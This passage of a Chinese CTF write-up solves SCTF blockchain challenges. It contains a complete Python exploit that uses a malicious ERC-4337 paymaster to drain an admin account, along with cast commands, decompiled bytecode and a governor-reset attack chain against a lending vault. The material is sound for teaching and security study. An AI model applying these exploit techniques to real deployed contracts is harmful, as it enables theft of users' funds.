cast send "$CHALLENGE" \  "claim(uint256[2],uint256[2][2],uint256[2],uint256[5],uint256,uint8,bytes32,bytes32,uint256,uint256)" \  "[0x225b331657d324c8103bd6e064faea551dff579d59d8d74d5e8822f3a74d9425,0x25cf2b5be2bb11a1bad7175e6c11e32baba439234a397364e714ca9ccbde9fb2]" \  "[[0x0e189938c1eec38a2c3bb4be1ba5f3e05f0acf883236a9e73cd2d054489e0f1b,0x0d17b9880695d3cfa61f1ab5cc3f1e82999615acd0186f75d753ed3adefc8d09],[0x1ae88249a37ab0084da9e152bec5ac20cda1b0e721621c91b0a5e305edad1da3,0x0207c5264808fadffc1ee47c868916f4c32659d40154fd1e967b0ca934dccbb4]]" \  "[0x2ff044c69c3363a9242e814afd6ddcfeec13b63c79f4b5d390d13ec172b97aa4,0x296ba1f75f39921fe884737df6f71aa580b07f24cad712accb3c9612ba1b238c]" \  "[0x000000000000000000000000000000000076870a0dfd2fa954279797d51d6465,0x11186d63282202899b6e66817c7fda3dd55fdd3d6b3d4feeaec62ba00ed70a94,0x14bbc078a933a929a55168a51767c518bf165252d3532a97791ba8ea438425c3,0x11b0a509a327decb662d61f27f31e07f64a8eb7ee5a7955010b9f04e19234bef,0x000000000000000000000000000000000000000000000000000000000000beef]" \  25774616630246150697727911729 \  28 \  0xc3349965986bd706337e04fd1a6a740e1f759a5d95ec4d2854655fc414ec6402 \  0x432d7ce0d69b4a37abd4504c03aac315e27d666b6720d0624a2d2984cfcd346a \  1656330 \  2582757 \  --private-key "$PK" \  --rpc-url "$RPC"

交易成功后再检查:

bash
cast call "$SETUP" "isSolved()(bool)" --rpc-url "$RPC"

返回:

text
true

然后去平台菜单选 3 拿 flag 就行。

FLAG

flag
SCTF{SYC_!ntern_Ray}

GateCrash

Challenge

GateCrash 是一个基于 ERC-4337 的账户抽象智能合约。nc 1.95.63.227 1337

GateCrash is an ERC-4337 account abstraction smart contract. nc 1.95.63.227 1337

Solution

附件里只有几份 Solidity 源码和一个本地测试脚本:

text
AccountFactory.solBaseAccount.solEntryPoint.solIAccount.solIEntryPoint.solIPaymaster.solLocalTest.js

第一眼最有用的是 LocalTest.js,因为它通常会直接暴露题目实例的外部接口。

查看 LocalTest.js 后能马上确认几件事:

  1. 远程会给一个 Setup 合约地址。
  2. Setup 暴露了这些 getter:
    • entryPoint()
    • factory()
    • adminAccount()
    • attackerAccount()
    • adminOwner()
    • attackerOwner()
    • isSolved()
  3. 本地脚本还读取了 BaseAccount 的几个状态:
    • owner()
    • nonce()
    • validationModuleFlag()
    • validationModule()

这说明题目的核心不是传统的单合约权限绕过,而是两个账户抽象账户之间的关系,外加一个 Setup.isSolved() 的判题条件。

然后继续读核心合约,先看 EntryPoint.solBaseAccount.sol

先摘出最关键的逻辑。

EntryPoint._validatePrepayment() 在验证每个 UserOperation 时,顺序是这样的:

solidity
function _validatePrepayment(    uint256 opIndex,    UserOperation calldata op) internal {    currentOpSender = op.sender;     require(registeredSenders[op.sender], "EP: unregistered sender");     bytes32 opHash = keccak256(abi.encode(...));    currentOpHash = opHash;     uint256 validationData = IAccount(op.sender).validateUserOp(        op,        opHash,        0    );     _trackValidationGas(validationData);     if (op.paymasterAndData.length > 0) {        address paymaster = _extractPaymaster(op.paymasterAndData);        _lastPaymaster = paymaster;        _inPaymasterValidation = true;        IPaymaster(paymaster).validatePaymasterUserOp(op, opHash, 0);        _inPaymasterValidation = false;    } else {        _lastPaymaster = address(0);    }     validatedOps[opHash] = true;}

这里先记住一点:paymaster 的校验发生在账户自己的 validateUserOp() 之后,而且执行时会把 _inPaymasterValidation 设成 true

再往下看 EntryPoint 里两个很危险的函数:

solidity
function addToPreApproved(address sender) external override {    require(_inPaymasterValidation, "EP: only during paymaster validation");    preApprovedSenders[sender] = true;} function adminUpdateModule(address account, address newModule) external override {    require(_inPaymasterValidation, "EP: only during paymaster validation");    (bool success, ) = account.call(        abi.encodeWithSignature("updateValidationModule(address)", newModule)    );    require(success, "EP: module update failed");}

这两个函数都没有限制“哪个 paymaster 才能调用”,只要求“当前正处于 paymaster validation 阶段”。也就是说,只要能让某个恶意 paymaster 进入 validatePaymasterUserOp(),它就能:

  1. 把任意 sender 加进 preApprovedSenders
  2. 给任意账户替换 validationModule

当时我先盯上的是 adminUpdateModule(),因为这看起来像是标准的“给管理员装恶意模块”思路。但继续看 BaseAccount.validateUserOp() 之后,发现其实根本不需要这么绕。

BaseAccount.validateUserOp() 的逻辑是:

solidity
function validateUserOp(    UserOperation calldata userOp,    bytes32 userOpHash,    uint256 missingAccountFunds) external override returns (uint256 validationData) {    require(msg.sender == address(entryPoint), "BaseAccount: only EntryPoint");    require(entryPoint.currentOpSender() == address(this), "BaseAccount: sender mismatch");     if (validationModule != address(0)) {        _delegateToModule(userOp, userOpHash);    }     if (entryPoint.preApprovedSenders(address(this))) {        require(userOp.nonce == nonce, "BaseAccount: invalid nonce");        nonce++;        return 0;    }     _validateSignature(userOp, userOpHash);     require(userOp.nonce == nonce, "BaseAccount: invalid nonce");    nonce++;     return 0;}

这里的 preApprovedSenders(address(this)) 分支非常关键。

只要某个账户地址已经被加进 preApprovedSenders,它后面的 UserOperation 就会:

  1. 直接跳过签名校验
  2. 只检查 nonce
  3. 然后当场通过

到这里漏洞链已经基本成型了:如果能在一个 handleOps() 里先让恶意 paymaster 把 adminAccount 加进 preApprovedSenders,那后面紧跟着的第二个 UserOperation 就可以直接伪造成 adminAccount,甚至不需要签名。

继续确认执行阶段是不是也能配合上。EntryPoint.handleOps() 的结构如下:

solidity
function handleOps(    UserOperation[] calldata ops,    address payable beneficiary) external {    uint256 opsLength = ops.length;    _executionPhaseFlag = 1;     for (uint256 i = 0; i < opsLength; i++) {        _validatePrepayment(i, ops[i]);        _cacheSenderContext(ops[i]);    }     _executionPhaseFlag = 2;     for (uint256 i = 0; i < opsLength; i++) {        _executeUserOp(i, ops[i]);    }     _executionPhaseFlag = 0;    _payBeneficiary(beneficiary);}

这说明所有 UserOperation 会先整体做一遍 validation,然后再整体做 execution。
顺序也很重要:如果数组里 op[0] 先把 adminAccount 加白,那么 op[1] 在验证阶段就已经能吃到这个副作用。

接着再看执行阶段:

solidity
function _executeUserOp(    uint256 opIndex,    UserOperation calldata op) internal {    (success, ) = op.sender.call{gas: op.callGasLimit}(op.callData);}

这不是标准 ERC-4337 里“由 EntryPoint 调账户的 execute()”,而是直接:

solidity
op.sender.call(op.callData)

但这里反而更方便。因为 op.sender 本来就是 BaseAccount,所以只要 op.callData 是:

solidity
execute(player, adminBalance, "")

那这次外部调用会进入 BaseAccount.execute(),而 BaseAccount.execute() 里要求的 msg.sender == address(entryPoint) 也恰好成立,因为这次调用就是 EntryPoint 发起的。

BaseAccount.execute() 本身长这样:

solidity
function execute(    address dest,    uint256 value,    bytes calldata func) external {    require(msg.sender == address(entryPoint), "BaseAccount: only EntryPoint");    (bool success, ) = dest.call{value: value}(func);    require(success, "BaseAccount: execution failed");}

所以只要能伪造一笔来自 adminAccountUserOperation,就能让它主动把自己的 ETH 转出去。

到这里利用方向已经定了,但还差最后一个问题:题目的判题条件到底是什么。

附件里没有 Setup.sol,所以不能直接看源码。最直接的办法是起一个远程实例,然后把 Setup 的字节码反汇编出来看。

先连服务,选 2 起实例,输入自己的 Team Token。服务端会返回这些信息:

text
RPC URLSetup addressPlayer addressPlayer key

然后直接用 castSetup 暴露的 getter:

powershell
$rpc   = "http://1.95.63.227:40000"$setup = "0x5FbDB2315678afecb367f032d93F642f64180aa3" cast call $setup "entryPoint()(address)"      --rpc-url $rpccast call $setup "factory()(address)"         --rpc-url $rpccast call $setup "adminAccount()(address)"    --rpc-url $rpccast call $setup "attackerAccount()(address)" --rpc-url $rpccast call $setup "adminOwner()(address)"      --rpc-url $rpccast call $setup "attackerOwner()(address)"   --rpc-url $rpccast call $setup "isSolved()(bool)"           --rpc-url $rpc

从题目实例里拿到的是:

text
entryPoint      = 0xB7A5bd0345EF1Cc5E66bf61BdeC17D2461fBd968factory         = 0xa16E02E87b7454126E5E10d957A927A7F5B5d2beadminAccount    = 0x8Ff3801288a85ea261E4277d44E1131Ea736F77BattackerAccount = 0x4CEc804494d829bEA93AB8eA7045A7efBED3c229adminOwner      = 0x61128d65bed9Cec72846db7C83A71777fd254F8aattackerOwner   = 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BCisSolved        = false

这时还有一个有用观察:

powershell
cast balance 0x8Ff3801288a85ea261E4277d44E1131Ea736F77B --rpc-url $rpccast balance 0x4CEc804494d829bEA93AB8eA7045A7efBED3c229 --rpc-url $rpc

输出是:

text
100000000000000000000

也就是管理员账户里有 10 ETH,攻击者账户里没钱。这个时候其实已经很像“把管理员账户的钱搬空”了,但我还是想把 isSolved() 看死,避免误判。

先把 Setup 代码拉下来:

powershell
cast code $setup --rpc-url $rpc

再配合 cast sig 把几个 selector 映射出来:

powershell
cast sig "entryPoint()"cast sig "factory()"cast sig "adminAccount()"cast sig "attackerAccount()"cast sig "adminOwner()"cast sig "attackerOwner()"cast sig "isSolved()"

对应关系是:

text
entryPoint()      -> 0xb0d691fefactory()         -> 0xc45a0155adminAccount()    -> 0xc26e9118attackerAccount() -> 0xd61769b3adminOwner()      -> 0x1417b946attackerOwner()   -> 0x7b0ebe7aisSolved()        -> 0x64d98f6e

然后直接反汇编 Setup 的 runtime bytecode:

powershell
cast disassemble <上一步拿到的 Setup runtime bytecode>

关键位置是 0x64d98f6e 这条分支:

text
00000067: DUP100000068: PUSH4 0x64d98f6e0000006d: EQ0000006e: PUSH2 0x00c600000071: JUMPI000000c6: JUMPDEST000000c7: PUSH1 0x40000000c9: MLOAD000000ca: PUSH1 0x01000000cc: PUSH1 0x01000000ce: PUSH1 0xa0000000d0: SHL000000d1: SUB000000d2: PUSH32 0x0000000000000000000000008ff3801288a85ea261e4277d44e1131ea736f77b000000f3: AND000000f4: BALANCE000000f5: ISZERO000000f6: DUP2000000f7: MSTORE000000f8: PUSH1 0x20000000fa: ADD000000fb: PUSH2 0x00bd000000fe: JUMP

这段逻辑非常干净:

  1. 压入 adminAccount
  2. 读取它的 BALANCE
  3. 判断 ISZERO
  4. 直接返回布尔值

所以题目唯一的判题条件就是:

text
adminAccount.balance == 0

到这里 exploit 已经能完整写出来了。

最终思路分成两笔 UserOperation,放在同一个 handleOps() 数组里:

第一笔 op0

  1. sender = attackerAccount
  2. 这笔操作正常用玩家私钥签名
  3. paymasterAndData 指向我们部署的恶意 paymaster
  4. 恶意 paymaster 在 validatePaymasterUserOp() 里调用 EntryPoint.addToPreApproved(adminAccount)

第二笔 op1

  1. sender = adminAccount
  2. signature = ""
  3. paymasterAndData = ""
  4. callData = abi.encodeWithSignature("execute(address,uint256,bytes)", player, adminBalance, "")

执行顺序是:

  1. op0 账户校验通过
  2. op0 paymaster 校验阶段把 adminAccount 加白
  3. op1 账户校验命中 preApprovedSenders[address(this)] 分支,直接跳过签名
  4. 执行阶段 op1 调进 adminAccount.execute(),把 10 ETH 打给玩家地址
  5. Setup.isSolved() 变成 true

这里还有一个小细节:op0callData 我直接留空了。
因为执行阶段会做一次 attackerAccount.call(""),而 BaseAccount 自带 receive() external payable {},所以空 calldata 并不会导致它失败。

完整解题脚本

python
import reimport socketimport sysfrom dataclasses import dataclass from eth_abi import encode as abi_encodefrom eth_account import Accountfrom eth_account.messages import encode_defunctfrom web3 import Web3  HOST = "1.95.63.227"PORT = 1337TEAM_TOKEN = "替换成你自己的 Team Token"USER_OP_GAS_PRICE = 1_000_000_000  SETUP_ABI = [    {        "type": "function",        "name": "entryPoint",        "stateMutability": "view",        "inputs": [],        "outputs": [{"name": "", "type": "address"}],    },    {        "type": "function",        "name": "adminAccount",        "stateMutability": "view",        "inputs": [],        "outputs": [{"name": "", "type": "address"}],    },    {        "type": "function",        "name": "attackerAccount",        "stateMutability": "view",        "inputs": [],        "outputs": [{"name": "", "type": "address"}],    },    {        "type": "function",        "name": "attackerOwner",        "stateMutability": "view",        "inputs": [],        "outputs": [{"name": "", "type": "address"}],    },    {        "type": "function",        "name": "isSolved",        "stateMutability": "view",        "inputs": [],        "outputs": [{"name": "", "type": "bool"}],    },] BASE_ACCOUNT_ABI = [    {        "type": "function",        "name": "nonce",        "stateMutability": "view",        "inputs": [],        "outputs": [{"name": "", "type": "uint256"}],    },    {        "type": "function",        "name": "execute",        "stateMutability": "nonpayable",        "inputs": [            {"name": "dest", "type": "address"},            {"name": "value", "type": "uint256"},            {"name": "func", "type": "bytes"},        ],        "outputs": [],    },] ENTRYPOINT_ABI = [    {        "type": "function",        "name": "handleOps",        "stateMutability": "nonpayable",        "inputs": [            {                "name": "ops",                "type": "tuple[]",                "components": [                    {"name": "sender", "type": "address"},                    {"name": "nonce", "type": "uint256"},                    {"name": "initCode", "type": "bytes"},                    {"name": "callData", "type": "bytes"},                    {"name": "callGasLimit", "type": "uint256"},                    {"name": "verificationGasLimit", "type": "uint256"},                    {"name": "preVerificationGas", "type": "uint256"},                    {"name": "maxFeePerGas", "type": "uint256"},                    {"name": "maxPriorityFeePerGas", "type": "uint256"},                    {"name": "paymasterAndData", "type": "bytes"},                    {"name": "signature", "type": "bytes"},                ],            },            {"name": "beneficiary", "type": "address"},        ],        "outputs": [],    }] PAYMASTER_ABI = [    {        "type": "constructor",        "inputs": [{"name": "_adminAccount", "type": "address"}],        "stateMutability": "nonpayable",    },    {        "type": "function",        "name": "validatePaymasterUserOp",        "stateMutability": "nonpayable",        "inputs": [            {                "name": "",                "type": "tuple",                "components": [                    {"name": "sender", "type": "address"},                    {"name": "nonce", "type": "uint256"},                    {"name": "initCode", "type": "bytes"},                    {"name": "callData", "type": "bytes"},                    {"name": "callGasLimit", "type": "uint256"},                    {"name": "verificationGasLimit", "type": "uint256"},                    {"name": "preVerificationGas", "type": "uint256"},                    {"name": "maxFeePerGas", "type": "uint256"},                    {"name": "maxPriorityFeePerGas", "type": "uint256"},                    {"name": "paymasterAndData", "type": "bytes"},                    {"name": "signature", "type": "bytes"},                ],            },            {"name": "", "type": "bytes32"},            {"name": "", "type": "uint256"},        ],        "outputs": [            {"name": "context", "type": "bytes"},            {"name": "validationData", "type": "uint256"},        ],    },    {        "type": "function",        "name": "postOp",        "stateMutability": "nonpayable",        "inputs": [            {"name": "", "type": "uint8"},            {"name": "", "type": "bytes"},            {"name": "", "type": "uint256"},        ],        "outputs": [],    },] PAYMASTER_BYTECODE = "0x60a060405234801561001057600080fd5b506040516105bb3803806105bb833981810160405281019061003291906100cf565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1681525050506100fc565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061009c82610071565b9050919050565b6100ac81610091565b81146100b757600080fd5b50565b6000815190506100c9816100a3565b92915050565b6000602082840312156100e5576100e461006c565b5b60006100f3848285016100ba565b91505092915050565b6080516104a5610116600039600060b001526104a56000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063a9a234091461003b578063f465c77e14610057575b600080fd5b61005560048036038101906100509190610206565b610088565b005b610071600480360381019061006c91906102d5565b61008e565b60405161007f9291906103e3565b60405180910390f35b50505050565b606060003373ffffffffffffffffffffffffffffffffffffffff16635fa1c7c07f00000000000000000000000000000000000000000000000000000000000000006040518263ffffffff1660e01b81526004016100eb9190610454565b600060405180830381600087803b15801561010557600080fd5b505af1158015610119573d6000803e3d6000fd5b505050506000604051806020016040528060008152509091509150935093915050565b600080fd5b600080fd5b6003811061015357600080fd5b50565b60008135905061016581610146565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126101905761018f61016b565b5b8235905067ffffffffffffffff8111156101ad576101ac610170565b5b6020830191508360018202830111156101c9576101c8610175565b5b9250929050565b6000819050919050565b6101e3816101d0565b81146101ee57600080fd5b50565b600081359050610200816101da565b92915050565b600080600080606085870312156102205761021f61013c565b5b600061022e87828801610156565b945050602085013567ffffffffffffffff81111561024f5761024e610141565b5b61025b8782880161017a565b9350935050604061026e878288016101f1565b91505092959194509250565b600080fd5b600061016082840312156102965761029561027a565b5b81905092915050565b6000819050919050565b6102b28161029f565b81146102bd57600080fd5b50565b6000813590506102cf816102a9565b92915050565b6000806000606084860312156102ee576102ed61013c565b5b600084013567ffffffffffffffff81111561030c5761030b610141565b5b6103188682870161027f565b9350506020610329868287016102c0565b925050604061033a868287016101f1565b9150509250925092565b600081519050919050565b600082825260208201905092915050565b60005b8381101561037e578082015181840152602081019050610363565b60008484015250505050565b6000601f19601f8301169050919050565b60006103a682610344565b6103b0818561034f565b93506103c0818560208601610360565b6103c98161038a565b840191505092915050565b6103dd816101d0565b82525050565b600060408201905081810360008301526103fd818561039b565b905061040c60208301846103d4565b9392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061043e82610413565b9050919050565b61044e81610433565b82525050565b60006020820190506104696000830184610445565b9291505056fea2646970667358221220861956ae65eb5ad808c1d1baf33bbd6d7c783b88f6e43740e285bb00b9ae186064736f6c63430008130033"  @dataclassclass Instance:    rpc_url: str    setup_address: str    player_address: str    player_key: str  def recv_until(sock: socket.socket, marker: bytes) -> bytes:    data = b""    while marker not in data:        chunk = sock.recv(4096)        if not chunk:            break        data += chunk    return data  def send_line(sock: socket.socket, line: str) -> None:    sock.sendall(line.encode() + b"\n")  def parse_instance(text: str) -> Instance:    patterns = {        "rpc_url": r"RPC URL\s*:\s*(\S+)",        "setup_address": r"Setup address\s*:\s*(0x[a-fA-F0-9]{40})",        "player_address": r"Player address\s*:\s*(0x[a-fA-F0-9]{40})",        "player_key": r"Player key\s*:\s*(0x[a-fA-F0-9]{64})",    }    values = {}    for key, pattern in patterns.items():        match = re.search(pattern, text)        if not match:            raise RuntimeError(f"failed to parse {key} from server output:\n{text}")        values[key] = match.group(1)    return Instance(**values)  def launch_instance(sock: socket.socket) -> Instance:    banner = recv_until(sock, b"Choice >")    sys.stdout.write(banner.decode(errors="replace"))    send_line(sock, "2")     prompt = recv_until(sock, b"CTF Token >")    sys.stdout.write(prompt.decode(errors="replace"))    send_line(sock, TEAM_TOKEN)     response = recv_until(sock, b"Choice >")    text = response.decode(errors="replace")    sys.stdout.write(text)    return parse_instance(text)  def raw_tx(signed) -> bytes:    raw = getattr(signed, "raw_transaction", None)    if raw is not None:        return raw    return signed.rawTransaction  def deploy_paymaster(w3: Web3, account: Account, admin_account: str) -> str:    paymaster = w3.eth.contract(abi=PAYMASTER_ABI, bytecode=PAYMASTER_BYTECODE)    tx = paymaster.constructor(admin_account).build_transaction(        {            "from": account.address,            "nonce": w3.eth.get_transaction_count(account.address, "pending"),            "gas": 500000,            "gasPrice": w3.eth.gas_price,            "chainId": w3.eth.chain_id,        }    )    signed = account.sign_transaction(tx)    tx_hash = w3.eth.send_raw_transaction(raw_tx(signed))    receipt = w3.eth.wait_for_transaction_receipt(tx_hash)    if receipt.status != 1:        raise RuntimeError("paymaster deployment failed")    return receipt.contractAddress  def user_op_hash(op: dict) -> bytes:    encoded = abi_encode(        [            "address",            "uint256",            "bytes32",            "bytes32",            "uint256",            "uint256",            "uint256",            "uint256",            "uint256",            "bytes32",        ],        [            op["sender"],            op["nonce"],            Web3.keccak(op["initCode"]),            Web3.keccak(op["callData"]),            op["callGasLimit"],            op["verificationGasLimit"],            op["preVerificationGas"],            op["maxFeePerGas"],            op["maxPriorityFeePerGas"],            Web3.keccak(op["paymasterAndData"]),        ],    )    return Web3.keccak(encoded)  def pack_signature(account: Account, op_hash: bytes) -> bytes:    return account.sign_message(encode_defunct(primitive=op_hash)).signature  def solve_instance(instance: Instance) -> None:    w3 = Web3(Web3.HTTPProvider(instance.rpc_url, request_kwargs={"timeout": 30}))    if not w3.is_connected():        raise RuntimeError("rpc connection failed")     player = Account.from_key(instance.player_key)    if player.address.lower() != instance.player_address.lower():        raise RuntimeError("player key mismatch")     setup = w3.eth.contract(address=Web3.to_checksum_address(instance.setup_address), abi=SETUP_ABI)    if setup.functions.isSolved().call():        return     attacker_owner = setup.functions.attackerOwner().call()    if attacker_owner.lower() != player.address.lower():        raise RuntimeError("unexpected attacker owner")     entry_point_addr = setup.functions.entryPoint().call()    admin_account_addr = setup.functions.adminAccount().call()    attacker_account_addr = setup.functions.attackerAccount().call()    admin_balance = w3.eth.get_balance(admin_account_addr)    if admin_balance == 0:        raise RuntimeError("admin account already empty but setup not solved")     paymaster_addr = deploy_paymaster(w3, player, admin_account_addr)    print(f"[+] paymaster: {paymaster_addr}")     attacker_account = w3.eth.contract(address=attacker_account_addr, abi=BASE_ACCOUNT_ABI)    admin_account = w3.eth.contract(address=admin_account_addr, abi=BASE_ACCOUNT_ABI)    entry_point = w3.eth.contract(address=entry_point_addr, abi=ENTRYPOINT_ABI)     op0 = {        "sender": attacker_account_addr,        "nonce": attacker_account.functions.nonce().call(),        "initCode": b"",        "callData": b"",        "callGasLimit": 200000,        "verificationGasLimit": 300000,        "preVerificationGas": 50000,        "maxFeePerGas": USER_OP_GAS_PRICE,        "maxPriorityFeePerGas": USER_OP_GAS_PRICE,        "paymasterAndData": bytes.fromhex(paymaster_addr[2:]),        "signature": b"",    }    op0["signature"] = pack_signature(player, user_op_hash(op0))     admin_execute = admin_account.functions.execute(        player.address,        admin_balance,        b"",    )._encode_transaction_data()     op1 = {        "sender": admin_account_addr,        "nonce": admin_account.functions.nonce().call(),        "initCode": b"",        "callData": bytes.fromhex(admin_execute[2:]),        "callGasLimit": 200000,        "verificationGasLimit": 300000,        "preVerificationGas": 50000,        "maxFeePerGas": USER_OP_GAS_PRICE,        "maxPriorityFeePerGas": USER_OP_GAS_PRICE,        "paymasterAndData": b"",        "signature": b"",    }     ops = [        (            op0["sender"],            op0["nonce"],            op0["initCode"],            op0["callData"],            op0["callGasLimit"],            op0["verificationGasLimit"],            op0["preVerificationGas"],            op0["maxFeePerGas"],            op0["maxPriorityFeePerGas"],            op0["paymasterAndData"],            op0["signature"],        ),        (            op1["sender"],            op1["nonce"],            op1["initCode"],            op1["callData"],            op1["callGasLimit"],            op1["verificationGasLimit"],            op1["preVerificationGas"],            op1["maxFeePerGas"],            op1["maxPriorityFeePerGas"],            op1["paymasterAndData"],            op1["signature"],        ),    ]     tx = entry_point.functions.handleOps(ops, player.address).build_transaction(        {            "from": player.address,            "nonce": w3.eth.get_transaction_count(player.address, "pending"),            "gas": 1500000,            "gasPrice": w3.eth.gas_price,            "chainId": w3.eth.chain_id,        }    )    signed = player.sign_transaction(tx)    tx_hash = w3.eth.send_raw_transaction(raw_tx(signed))    receipt = w3.eth.wait_for_transaction_receipt(tx_hash)    if receipt.status != 1:        raise RuntimeError("handleOps failed")    print(f"[+] handleOps: {tx_hash.hex()}")     solved = setup.functions.isSolved().call()    balance = w3.eth.get_balance(admin_account_addr)    print(f"[+] solved: {solved}")    print(f"[+] admin balance: {balance}")    if not solved:        raise RuntimeError("challenge is still unsolved")  def fetch_flag(sock: socket.socket) -> str:    send_line(sock, "3")    data = recv_until(sock, b"Choice >")    text = data.decode(errors="replace")    sys.stdout.write(text)    match = re.search(r"(SCTF\{[^}]+\})", text)    if not match:        raise RuntimeError("flag not found in server output")    return match.group(1)  def main() -> None:    with socket.create_connection((HOST, PORT), timeout=10) as sock:        instance = launch_instance(sock)        solve_instance(instance)        flag = fetch_flag(sock)        print(f"[+] flag: {flag}")  if __name__ == "__main__":    main()

输出是:

text
[+] paymaster: 0x663F3ad617193148711d28f5334eE4Ed07016602[+] handleOps: e2d8820f973816b867e2f45f0b702470c9d27af5c87a55c49ac7d1d0a9b9c4cd[+] solved: True[+] admin balance: 0

然后服务端返回:

text
Congratulations! Challenge solved!FLAG: SCTF{Krypt0n0r_0xccfa0_#3!(D1n0)@bc}

最后复盘一下,这题真正危险的点不是“4337 很复杂”,而是它把“只能在 paymaster validation 阶段调用”的能力当成了足够强的权限边界,但没有继续限制“到底是谁在这个阶段调用”。
一旦攻击者自己部署一个 paymaster,这个边界就等于没有。

而且 preApprovedSenders 这个白名单又直接绕过了签名校验,所以整条利用链比“恶意 module + delegatecall”还短,甚至不需要控制管理员私钥,也不需要污染 owner

FLAG

flag
SCTF{Krypt0n0r_0xccfa0_#3!(D1n0)@bc}

DeepSea Finance

Challenge

DeepSea Finance 是一个多资产借贷和跨链收益协议。nc 1.95.206.213 5000

DeepSea Finance is a multi-asset lending and cross-chain yield protocol.nc 1.95.206.213 5000

Solution

先看 README.md,目标写得很直接:

solidity
function isSolved() external view returns (bool) {    return wbtc.balanceOf(address(vaultProxy)) == 0;}

也就是说只要把 vault 里的 WBTC 清空就行。

然后看 Setup.sol。部署流程大概是:

solidity
wbtc   = new MockERC20("Wrapped Bitcoin", "WBTC", 8);usdc   = new MockERC20("USD Coin",         "USDC", 6);oracle = new PriceOracle(address(this)); oracle.setPrice(address(wbtc), 60_000e18);oracle.setPrice(address(usdc), 1e18); DeepSeaVault impl = new DeepSeaVault(relaySeed); RoutedProxy proxy = new RoutedProxy(    address(impl),    address(this),    routingDomain,    initData); vaultProxy = DeepSeaVault(address(proxy)); vaultProxy.addMarket(address(wbtc), 10, 1e12);vaultProxy.addMarket(address(usdc),  5, 1e14); wbtc.mint(address(proxy), 10e8);usdc.mint(address(proxy), 600_000e6); usdc.mint(player, 10e6);

初始 vault 里有 10e8 WBTC,也就是 10 BTC,玩家只有 10e6 USDC,也就是 10 USDC。

第一眼先看正常业务逻辑能不能借贷套出来。WBTC 价格是 60000e18,USDC 是 1e18,LTV 是 75%。玩家最多只能用 10 USDC 抵押借出 7.5 美元价值的资产,距离 10 WBTC 差太远,所以常规 deposit -> borrow 这条路基本不用继续。

接着看 flashloan。flashLoan() 要求回调结束后余额至少是 balBefore + fee

solidity
uint256 balAfter = IERC20(token).balanceOf(address(this));require(balAfter >= balBefore + fee, "Flash loan not repaid");

这个也不能直接白嫖。

继续看权限相关函数。governor 可以 addMarket/propose,guardian 可以 emergencyWithdraw/recoverERC20。但是初始 governorSetup,guardian 是两个硬编码地址,玩家都不是。

然后看跨链 relay。这里有一个看起来很诱人的函数:

solidity
function processTranscript(bytes[] calldata cmds) external {    bytes32 ctx = _loadRelayContext();    require(ctx != bytes32(0), "No active relay context");     assembly { tstore(_RELAY_FLAG, 1) }     uint256 n = cmds.length;    for (uint256 i = 0; i < n; i++) {        (bool ok, ) = address(this).delegatecall(cmds[i]);        require(ok, "Relay operation reverted");    }     assembly { tstore(_RELAY_FLAG, 0) }    _advanceRelayNonce();    emit RelayExecuted();} function settleAsset(    address token,    address recipient,    uint256 amount) external {    uint256 flag;    assembly { flag := tload(_RELAY_FLAG) }    require(flag == 1, "No active relay");    token.safeTransfer(recipient, amount);    emit AssetSettled(token, recipient, amount);}

如果能让 relay context 非零,就可以让 processTranscript() delegatecall settleAsset(),直接把 WBTC 转走。但是 commitCrossChainState() 禁止写入真正被 _loadRelayContext() 读取的 reserved route:

solidity
require(    !(        keccak256(sourceChain) == keccak256(bytes(RELAY_SOURCE)) &&        keccak256(lane) == keccak256(bytes(RELAY_AUTH_LANE))    ),    "reserved route");

所以我先把这条路放一边,继续找 storage 或 transient storage 相关的问题。

直接看 storage layout:

powershell
forge inspect src/vault/DeepSeaVault.sol:DeepSeaVault storage-layout

关键结果是:

text
| Name                   | Slot ||------------------------|------|| _status                | 0    || governor               | 1    || priceOracle            | 2    || rewardToken            | 3    || _pendingRewardOperator | 4    || markets                | 5    || positions              | 6    || guardians              | 7    |

这里记住 governor 在 slot 1。

然后搜索一下合约里所有 tstore/tload/transient 相关代码。CrossChainRelay.sol 里有两个 transient 变量:

solidity
address internal transient _epochAnchor;address internal transient _epochOperator;

DeepSeaVault.sol 的 reward 逻辑会碰到 _epochOperator

solidity
function claimRewards(address token) external nonReentrant {    _settlePendingRewards(msg.sender, token);    UserPosition storage pos = positions[msg.sender][token];    uint256 amt = pos.pendingRewards;    if (amt > 0 && IERC20(rewardToken).balanceOf(address(this)) >= amt) {        pos.pendingRewards = 0;        rewardToken.safeTransfer(msg.sender, amt);    }    _settleRewardEpoch(token);} function _settleRewardEpoch(address token) internal {    bytes32 epochId = keccak256(abi.encodePacked(token, block.chainid));    _stageRewardOperator(epochId);    _finalizeRewardEpoch(msg.sender);} function _finalizeRewardEpoch(address operator) internal {    _epochOperator = operator;    delete _epochOperator;}

这里本来只是 transient storage 的读写,交易结束就会消失,正常看不应该影响持久化 storage。

但是继续看优化后的 IR:

powershell
forge inspect src/vault/DeepSeaVault.sol:DeepSeaVault ir-optimized | Select-String -Pattern "finalizeRewardEpoch|tstore|tload|storage_set_to_zero" -Context 4,8

能看到关键片段:

solidity
function fun_finalizeRewardEpoch(var_operator){    ...    update_transient_storage_value_offset_address_to_address(0x01, expr)    ...    storage_set_to_zero_address(0x01, 0)}

这就不对了。_epochOperator = operator 确实是 transient 写入 slot 0x01,但是后面的 delete _epochOperator 被编译成了对普通 storage slot 0x01 清零。

而普通 storage slot 1 正好是:

text
governor

所以只要任意调用一次 claimRewards(),就会走到 _finalizeRewardEpoch(),然后把 governor 清成 address(0)

initialize() 的保护条件又刚好是:

solidity
function initialize(    address          _oracle,    address          _rewardToken,    address[] calldata _guardians) external {    require(governor == address(0), "Already initialized");    governor    = msg.sender;    priceOracle = IVaultOracle(_oracle);    rewardToken = _rewardToken;    for (uint256 i = 0; i < _guardians.length; i++) {        if (!guardians[_guardians[i]]) {            guardians[_guardians[i]] = true;            guardianCount++;        }    }}

这表明利用链可以变得很短:

  1. 调用 claimRewards(wbtc),触发错误的 persistent storage 清零,把 governor 变成零地址。
  2. 重新调用 initialize(oracle, usdc, [player]),把玩家设为新 governor,并加入 guardian。
  3. 调用 emergencyWithdraw(wbtc, player, 10e8),用 guardian 权限转走所有 WBTC。
  4. Setup.isSolved() 返回 true

